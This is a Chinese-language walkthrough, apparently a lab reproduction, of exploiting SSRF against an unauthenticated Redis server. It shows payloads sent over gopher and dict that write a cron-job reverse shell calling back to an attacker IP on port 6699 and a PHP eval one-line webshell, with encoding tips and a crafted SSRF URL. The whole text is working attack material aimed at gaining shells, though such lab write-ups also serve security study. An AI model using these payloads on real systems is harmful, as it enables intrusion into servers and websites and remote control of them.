SSRF漏洞复现
利用ssrf配合redis反弹shell:
: : 一直都说SSRF是我们漫游内网的好帮手,今天就来实际复现一下SSRF配合redis获取反弹shell和webshell的过程
目标主机初始计划任务内容:

构造攻击payload,对攻击语句进行编码:
这里利用的是gopher协议执行redis数据库的文件备份命令,在redis数据库存未设置密码时,我们可以直接执行备份命令,利用自定义备份文件名来覆盖原有的文件或是创建新文件
payload为:
1 | set tom "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.182.184/6699 0>&1\n\n\n\n" |
**注意事项1:**这里使用gopher协议执行redis命令,必须有quit命令才会有回显,但不影响前面命令的执行。
**注意事项2:**使用gopher协议可以一次性执行多条命令,但是每条命令最后都必须有%0d%0a代表此条命令结束,包括最后一条命令;最后所有命令应当放在同一行利用gopher协议发出。
**注意事项3:**因为使用gopher协议,在连接时gopher协议会对数据进行一次URL解码,在访问链接时也会对链接进行一次URL解码,所以我们的攻击payload应当进行两次URL编码!!!
第一次编码:

第二次编码:

使用curl利用gopher协议执行命令:
**注意:**此时payload中有quit命令将会回显+ok;如果没有则会处于连接状态;这两种情况都代表命令执行成功;

再次查看目标主机计划任务,发现成功写入:

再kali攻击机上开启监听,成功反弹shell:

SSRF获取反弹shell复现成功!!!
ssrf漏洞配合redis写入一句话木马:
目标网站根目录:

构造payload语句并编码:
这里一样利用的是gopher协议执行redis数据库的文件备份命令,执行备份命令,利用自定义备份文件名和路径来在网站根目录写入一句话木马
payload为:
1 | set sss "\n\n\n\n\n\n\n\n<?php @eval($_POST['123']);?>\n\n\n\n\n\n\n\n" |
**注意事项1:**这里使用gopher协议执行redis命令,必须有quit命令才会有回显,但不影响前面命令的执行。
**注意事项2:**使用gopher协议可以一次性执行多条命令,但是每条命令最后都必须有%0d%0a代表此条命令结束,包括最后一条命令;最后所有命令应当放在同一行利用gopher协议发出。
**注意事项3:**因为使用gopher协议,在连接时gopher协议会对数据进行一次URL解码,在访问链接时也会对链接进行一次URL解码,所以我们的攻击payload应当进行两次URL编码!!!
第一次编码

第二次编码

通过curl利用gopher协议执行命令:

成功写入一句话木马:

菜刀链接一句话,成功获取webshell

SSRF获取webshell复现成功!!!
拓展dict协议:
SSRF可利用协议不光有gopher,还可以利用dict协议
利用dict协议执行redis命令时应当每条命令都发送一次链接请求
dict执行redis命令时不需要使用quit命令就能有回显
dict协议在redis中执行保存备份文件的命令为:bgsave,gopher协议为:save
在使用sict协议时不用进行多次转码,仅需将特殊符号进行一次URL编码即可
payload为:
1 | set sss "\n\n\n\n\n\n\n\n<?php @eval($_POST['123']);?>\n\n\n\n\n\n\n\n" |
转码后为:
1 | http://192.168.182.110/ssrf.php?url=dict://127.0.0.1:6379/set+ss+"\n\n\n\n\n\n\n\n<\x3fphp+echo+111;\n\r+PHPinfo();\x3f>\n\n\n\n\n\n\n\n" |






